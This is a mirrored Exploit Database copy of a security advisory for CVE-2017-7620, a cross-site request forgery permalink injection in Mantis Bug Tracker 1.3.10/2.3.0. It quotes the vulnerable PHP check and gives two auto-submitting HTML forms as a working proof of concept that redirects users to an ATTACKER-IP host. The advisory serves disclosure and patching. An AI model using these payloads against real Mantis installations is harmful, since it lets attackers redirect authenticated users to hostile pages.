Mantis Bug Tracker 1.3.10/2.3.0 – Cross-Site Request Forgery

• Exploit Database
• 73 阅读

• 作者： hyp3rlinx
  日期： 2017-05-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42043/

• [+] Credits: John Page a.k.a hyp3rlinx	
  [+] Website: hyp3rlinx.altervista.org
  [+] Source:http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-CSRF-PERMALINK-INJECTION.txt
  [+] ISR: ApparitionSec
   
  
  
  Vendor:
  ================
  www.mantisbt.org
  
  
  
  Product:
  =========
  Mantis Bug Tracker
  1.3.10 / v2.3.0
  
  
  MantisBT is a popular free web-based bug tracking system. It is written in PHP works with MySQL, MS SQL, and PostgreSQL databases.
  
  
  
  Vulnerability Type:
  ========================
  CSRF Permalink Injection
  
  
  
  CVE Reference:
  ==============
  CVE-2017-7620
  
  
  
  Security Issue:
  ================
  Remote attackers can inject arbitrary permalinks into the mantisbt Web Interface if an authenticated user visits a malicious webpage.
  
  Vuln code in "string_api.php" PHP file, under mantis/core/ did not account for supplied backslashes.
  Line: 270
  
  # Check for URL's pointing to other domains
  
  if( 0 == $t_type || empty( $t_matches['script'] ) ||
  	
  3 == $t_type && preg_match( '@(?:[^:]*)?:/*@', $t_url ) > 0 ) {
  
  	
  
  return ( $p_return_absolute ? $t_path . '/' : '' ) . 'index.php';
  
  }
  
  
  
  # Start extracting regex matches
  
  $t_script = $t_matches['script']; 
  $t_script_path = $t_matches['path'];
  
  
  
  
  Exploit/POC:
  =============
  <form action="http://VICTIM-IP/mantisbt-2.3.0/permalink_page.php?url=\/ATTACKER-IP" method="POST">
  <script>document.forms[0].submit()</script>
  </form>
  
  OR
  
  <form action="http://VICTIM-IP/permalink_page.php?url=\/ATTACKER-IP%2Fmantisbt-2.3.0%2Fsearch.php%3Fproject_id%3D1%26sticky%3Don%26sort%3Dlast_updated%26dir%3DDESC%26hide_status%3D90%26match_type%3D0" method="POST">
  <script>document.forms[0].submit()</script>
  </form>
  
  
  
  Network Access:
  ===============
  Remote
  
  
  
  
  Severity:
  =========
  Medium
  
  
  
  Disclosure Timeline:
  =============================
  Vendor Notification: April 9, 2017
  Vendor Release Fix: May 15, 2017
  Vendor Disclosed: May 20, 2017
  May 20, 2017 : Public Disclosure
  
  
  
  [+] Disclaimer
  The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
  Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
  that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
  is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
  for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
  or exploits by the author or elsewhere. All content (c).
  
  hyp3rlinx